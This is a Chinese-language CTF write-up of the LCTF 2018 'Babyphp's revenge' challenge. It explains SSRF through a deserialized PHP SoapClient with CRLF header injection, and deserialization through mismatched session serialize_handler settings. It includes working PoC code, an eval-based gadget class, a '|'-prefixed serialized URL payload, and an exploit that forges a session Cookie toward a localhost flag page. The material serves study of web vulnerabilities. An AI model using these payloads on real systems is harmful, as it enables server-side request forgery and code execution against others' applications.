LCTF 2018 Babyphp's revenge

继续填坑..

一: soap ssrf

  1. soap服务是什么?
    image_1d368hpc812j6vgt12nnomj15ai9.png-18.2kB
    简单而言即一种通信方式

  2. 特征
    在phpinfo中可以看到
    image_1d368p2le1ftg1u711senfq88rp16.png-74.5kB

  3. 利用条件
    有可控的点去反序列化调用soapclient类进行SSRF

那么为什么要选择使用soapclient这个类呢?

  • 如果开启了soap服务,soapclient类就是php的内置类
  • 从php文档中可以看到,其第一个参数为$Url,这就为之后的ssrf作为铺垫
    image_1d36apbldfe5t6k10k3j6skjg1j.png-12kB
  • 其次当数据被反序列化后,其对象还要调用一个不存在的类,以调用soapclient的__call方法

同时该类__call方法还有crlf注入漏洞,具体分析见:https://xz.aliyun.com/t/2148

如何触发ssrf呢?
参考:

该类实例化的时候有两个参数:
image_1d36c2pvtjn21por2trqvf1ffb20.png-35.3kB
第一个参数控制是否为WSDL模式。如果为NULL,就是non-WSDL模式。
如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求。
image_1d36c8d6mg6tsiq1k431k1d1uli2d.png-106.3kB
如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。

本地复现:
image_1d36m8qmuoi6pft6tvgh1tug9.png-62.9kB
代码:

1
2
3
4
5
6
<?php
$location = 'https://155.94.177.154:6666/';
$a = new SoapClient(null, array('location' => $location ,'uri' => '123'));
$auth= unserialize(serial1ize($a));
$auth->aa();
echo "1";

另一台vps上开启监听:
image_1d36mb5vv9t5ctchmgmsn1e2tm.png-11.2kB

执行:
image_1d36md4p9npvjcs6psc92s0q1j.png-13.2kB

vps监听到:
image_1d36mdtlq1d2t9bgbhdbt25lu20.png-140.9kB

可以看到在soap库发送的xml数据在数据包的post处,所以这个的局限在于一般只能打get形的ssrf。

后来在l3m0n师傅的博客上看到可以发post请求的思路:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

image_1d3dp2gq9rbt10s6hdj28p1kfa9.png-186.9kB

二:php session反序列化

其核心原理在于php在存储序列化$_SESSION数据引擎和反序列化该数据的引擎不一样导致。

利用条件:

  • 在同一网站能同时出现两种不同的session配置方式:

    1
    session.serialize_handler=php_serialize|php
  • $_SESSION值可控

满足以上几点即等价于我们对unserialize()的参数可控。

php.ini中的配置:

1
2
3
4
session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php --定义用来序列化/反序列化的处理器名字。默认使用php

session.serialize_handler的其他几种配置项:

1
2
3
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

使用session.serialize_handler=php_serialize

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"] = "PASSER6Y";

image_1d36r14f3m311ha2b8p1crh37m2d.png-83.1kB
该方式在序列化数据前加了a:1:

而使用默认配置时(session.serialize_handler=php):

1
2
3
4
<?php
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"] = "PASSER6Y";

image_1d36r4uf8c0718nj1igd1kmn1o352q.png-155.7kB
php引擎将竖线(|)将其分割成两部分,前面为键名,后面为序列化数据

两者的差异在于用php方式时以|分割,如果我们在php_serialize存入的数据带有|,而取出数据时使用php引擎,则会导致序列化数据在经过php引擎时被反序列化引发安全问题。

漏洞复现demo:
1.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["passer6y"]=$_GET["a"];

2.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class aa {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class aa {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}
$a = new aa();

echo serialize($a); //O:2:"aa":1:{s:2:"hi";s:10:"phpinfo();";}
echo "\n\n";
echo urlencode(serialize($a));

payload: https://ip/?a=|O:2:%22aa%22:1:{s:2:%22hi%22;s:10:%22phpinfo();%22;}

然后访问:2.php
image_1d36sp0n7ktotav1hi8pqtbo3k.png-52.2kB

最后

回到题目来看,分析一下题目逻辑;
index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'],$_POST);
session_start();
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);

flag.php

1
2
3
4
5
6
7
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{******************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

第一个call_user_func()函数可以帮助我们将php的session处理方式设置为php_serialize,这里可以使用session_start()来开启,他支持一个数组参数:
image_1d391q74slqa1gbp15jecnc14ma9.png-13.4kB

所以这一步我们将$_GET['f']=session_start,然后post数据:serialize_handler=php_serialize

再往下$_GET['name'],这使得我们可以控制session,所以这一步传入我们的soup的ssrf反序列化数据。

从flag.php中可知,flag是存储在我们的session中的(成功触发后,var_dump($_SESSION);会显示出我们的flag),所以我们ssrf的时候要带上session,这里会用到soup ssrf的crlf漏洞。

当然在这里,soup ssrf 还需要一步,就是调用其类中的__call方法,这里参考文档:
image_1d3928hpt1uav102t87v2n31i4tm.png-15.1kB

所以我们将精心构造的session数据存入后,第二次访问,利用变量覆盖将$b变成call_user_func,然后就能调用一个不存在的方法(welcome_to_the_lctf2018),从而触发__call方法,形成ssrf。

不知道环境问题还是啥调了很久,在第一步修改session_handle的类型时修改失败了,导致后面无法触发ssrf。复现的时候没有官方docker,调了很久还是不是很明白…

image_1d39g8666dtm1sgh1voe1t89j3n1t.png-95.3kB

嫖的exp:

1
2
3
4
5
6
7
8
$target='https://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "AAA:BBB\r\n" .
"Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912",
'uri' => "https://127.0.0.1/"));

$se = serialize($b);
echo urlencode($se);

第二步:
image_1d39g291h1i0s3jb1ao71cb614qe1g.png-44.1kB